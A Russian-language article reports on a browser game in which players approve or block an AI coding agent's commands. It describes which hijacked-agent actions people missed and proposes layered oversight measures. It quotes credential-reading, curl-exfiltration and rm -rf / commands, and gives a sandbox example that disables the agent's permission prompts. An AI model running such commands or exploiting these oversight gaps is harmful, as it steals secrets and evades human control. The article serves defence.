Люди пропустили каждую третью угрозу от AI-агентов
Исследование на 40 000 игровых сессий показало: человек-контролёр пропускает 1 из 3 опасных команд AI-агента. Разбираем, почему и что делать.
Люди пропустили каждую третью угрозу от AI-агентов: что показало исследование на 40 000 сессий
Вы нажимаете «Разрешить» — и AI-агент продолжает работу. Кажется, что вы контролируете ситуацию. Но новое исследование говорит об обратном: в каждом третьем случае, когда агент отправлял вредоносную команду, человек её одобрял. Не из халатности — из-за того, как устроено восприятие.
Именно это выяснил разработчик из Scale X, создавший браузерную игру-симулятор: вы играете роль «человека в петле» (human-in-the-loop) для AI-агента разработки и решаете — разрешить или заблокировать каждую команду. После сбора статистики картина оказалась тревожной.
Что такое эксперимент и почему ему стоит доверять
Разработчик создал небольшую браузерную игру: вы играете роль human-in-the-loop для AI-агента разработки, одобряя или отклоняя его команды в условиях временного давления.
Часть команд — рутинные (git status, npm test), а часть указывает на то, что агент «захвачен» и пытается отправить ваши секреты на удалённый сервер (cat ~/.aws/credentials).
Игра набрала популярность на Hacker News, и после добавления статистики стало возможным проанализировать данные более 40 000 сессий и 409 000 индивидуальных решений «разрешить/заблокировать».
Вот главный итог:
Средний игрок пропускал каждую третью угрозу (средняя точность — 66,3%), а 32,9% сессий завершались с отрицательным счётом: штрафы за одобренные угрозы и заблокированные безопасные команды перевешивали всё сделанное правильно.
«Человек в петле — наша последняя линия обороны против взбунтовавшихся агентов. Но треть угроз проходит насквозь.»
Какие угрозы люди замечают, а какие — нет
Результаты показали чёткое разделение: одни атаки бросаются в глаза, другие маскируются под рутину.
Что ловят хорошо
Чаще всего блокируются очевидно деструктивные команды — например, rm -rf на корневой директории или рекурсивная выдача полных прав read/write/execute на тот же каталог.
Инъекции в crontab и подмена конфигурации git тоже часто выявляются.
Что пропускают
Чаще всего пропускаются нарушения области видимости: когда агент запрашивает чтение конфигурационных файлов Kubernetes или списков AWS-учётных данных — такие угрозы остаются незамеченными в 35% случаев.
Curl-запросы к неизвестным API и тайпсквоттинговые пакеты пропускались почти так же часто, как нарушения области видимости.
Команды, которые реально эксфильтрируют учётные данные, пропускаются в три раза чаще, чем очевидно деструктивные.
Рекордсмен по незаметности: npm run analyze
Самой часто пропускаемой потенциально вредоносной командой оказалась npm run analyze — она одобрялась почти в 65% случаев, несмотря на то что может запускать всё что угодно из package.json проекта.
Дело в том, что npm run запускает скрипт, определённый в package.json проекта. Это может быть безобидный код — например, анализатор бандлов — или внедрённый ранее вредоносный код.
Игра показывала в журнале агента, что именно содержит скрипт — например, команду с curl -s -X POST https://api.bundle.track/report -d @-, — однако две трети игроков всё равно одобряли её, что указывает: лог истории над окном подтверждения мало кто читает внимательно.
Таких команд в игре было три, и все они вошли в список наиболее пропускаемых: суммарно их пропускали в 52,5% случаев (n=9 482) против 28,4% для всех прочих атак типа эксфильтрации.
npm run <script> выглядит как невинная операция сборки. Но она исполняет произвольный код из package.json — и именно поэтому является идеальным вектором для скрытой атаки. Всегда проверяйте содержимое скрипта, а не только его имя.Почему мозг не справляется с ролью контролёра
Проблема не в том, что люди невнимательны или некомпетентны. Проблема — в природе самой задачи.
graph TD
A[AI-агент генерирует команду] --> B{Выглядит как обычная задача?}
B -- Да --> C[Человек одобряет автоматически]
B -- Нет --> D[Человек анализирует]
C --> E[Угроза проходит незамеченной]
D --> F{Очевидная деструкция?}
F -- Да --> G[Блокируется]
F -- Нет --> H[Часто одобряется]
H --> E
Есть несколько когнитивных факторов:
Эффект беглого чтения. Когда команды выглядят знакомо (npm run, git, curl), мозг распознаёт шаблон и не углубляется в детали. Это экономит когнитивный ресурс — но открывает окно для атаки.
Временное давление. Игра намеренно создаёт дефицит времени — как это происходит в реальных рабочих потоках, где агент ждёт подтверждения, а разработчик занят параллельными задачами.
Усталость от предупреждений (alert fatigue). Распространённой защитной мерой в современных AI-агентах является требование подтверждения человека перед выполнением критических действий. Однако избыток таких запросов может подорвать удобство использования и ценность автоматизации. Пользователь начинает нажимать «Разрешить» рефлекторно.
Скрытый контекст. Угроза типа npm run analyze требует, чтобы человек прочитал содержимое package.json — файл, который физически не отображается в интерфейсе одобрения. Большинство не делает этого лишнего шага.
Реальные ставки: от кражи ключей до supply chain атак
Чтобы понять масштаб проблемы, посмотрим на то, что происходит в реальных системах за пределами игры.
Современные AI-агенты уже планируют встречи, анализируют чувствительные данные, выполняют финансовые транзакции и принимают решения, которые раньше требовали участия человека. По мере роста их автономии они становятся первоочередными целями для сложных атак.
Один скомпрометированный AI-агент способен эксфильтровать терабайты данных, манипулировать бизнес-процессами или искажать системы принятия решений — прежде чем традиционные средства безопасности обнаружат взлом.
Тайпсквоттинг и «слопсквоттинг» — отдельная история. Исследователи называют это слопсквоттингом: AI-инструменты галлюцинируют имена пакетов, а злоумышленники не взламывают реальный пакет — они ждут, когда модель сама придумает имя, а затем регистрируют его в публичном реестре.
82% руководителей уверены, что их существующие политики защищают от несанкционированных действий агентов. Но полевые данные рассказывают другую историю: более половины развёрнутых агентов работают без контроля безопасности и логирования.
| Тип угрозы | Процент пропуска | Уровень опасности |
|---|---|---|
| Нарушения области видимости (AWS/K8s) | ~35% | 🔴 Критический |
| Curl-запросы к неизвестным API | ~33% | 🔴 Критический |
| Тайпсквоттинговые пакеты | ~33% | 🔴 Критический |
| Инъекции через npm run | ~52% | 🔴 Критический |
| Инъекции crontab | Низкий % | 🟡 Средний |
| Git config hijack | Низкий % | 🟡 Средний |
rm -rf / и chmod 777 / | Минимальный % | 🟢 Замечается легко |
Что делать: практические меры защиты
Человек в петле — важная концепция, но исследование показывает её структурные ограничения. Нужен многоуровневый подход.
1. Детерминированные слои контроля
Исследования рекомендуют приоритизировать архитектуры «защиты в глубину» для AI-агентов, включая хотя бы один детерминированный слой применения политик, который не опирается на логику LLM. Непредсказуемая природа рассуждений на основе LLM означает, что ни одна модельная защита не может давать надёжных гарантий в одиночку. Детерминированные средства контроля — границы sandbox, разрешения инструментов, политики действий — могут вместо этого накладывать исполняемые ограничения на поведение агента.
2. Risk-aware автономия
Одно из перспективных направлений — risk-aware autonomy: пользователи задают политики допустимого риска, а агент запрашивает подтверждение только тогда, когда оценочный риск действия превышает заданный порог. Это снижает усталость от предупреждений, сохраняя контроль там, где он критичен.
3. Just-in-time разрешения
Рекомендуется использовать разрешения «точно в срок» (just-in-time permissions): доступ предоставляется только на время выполнения конкретной задачи и сразу отзывается после её завершения.
4. Лучший UI для одобрений
Игра наглядно показала: если контекст угрозы не виден прямо в интерфейсе одобрения, его никто не читает. Системы должны показывать раскрытое содержимое скриптов, развёрнутые URL, хэши пакетов — прямо в диалоге подтверждения.
5. Периодические сводки вместо потока уведомлений
Реальное подтверждение в реальном времени может быть дополнено периодическими механизмами прозрачности — сводками или снимками выполненных действий, связанных рисков и решений по политике. Такие механизмы позволяют пользователям сохранять ситуационную осведомлённость без перегрузки частыми прерываниями, улучшая одновременно безопасность и удобство.
# Пример: ограничение прав агента через политику sandbox
# Разрешаем только чтение в рабочей директории
firejail --read-only=/home --read-write=/home/project \
--net=none \
--whitelist=/home/project \
claude-code --dangerously-skip-permissions
Перед одобрением любой нестандартной команды AI-агента спросите себя:
- Содержит ли команда сетевые запросы (
curl,wget,fetch)? - Обращается ли она к файлам вне рабочей директории?
- Запускает ли она скрипт, содержимое которого не показано явно?
- Устанавливает ли пакет с необычным или незнакомым именем?
- Изменяет ли конфигурацию (
git config,crontab,.env)?
Если хотя бы один ответ «да» — проверьте детали перед нажатием «Разрешить».
Заключение: human-in-the-loop — необходимость, но не панацея
Исследование Scale X не говорит, что люди плохо справляются с контролем AI. Оно говорит о том, что задача контроля плохо спроектирована под человеческое восприятие.
68% специалистов называют human-in-the-loop контроль «существенным» или «очень важным», требуя подтверждения человека перед тем, как агенты получают доступ к чувствительным данным (69%), вносят изменения в системы (68%) или одобряют финансовые транзакции (62%) — но практических инструментов для реализации этого контроля у большинства нет.
Одобрение команд под временным давлением, без раскрытого контекста, в бесконечном потоке — это рецепт провала. Треть угроз будет проходить через эту «защиту» даже у опытных разработчиков.
Правильный ответ — не отменять человеческий контроль и не превращать его в формальность. Правильный ответ — строить системы, которые делают угрозы видимыми: детерминированные политики, умный UI, risk-aware логику запросов подтверждения и минимальные привилегии по умолчанию.
АI-агенты становятся мощнее с каждым месяцем. Архитектура их надзора должна расти вместе с ними — иначе мы просто автоматизируем риск.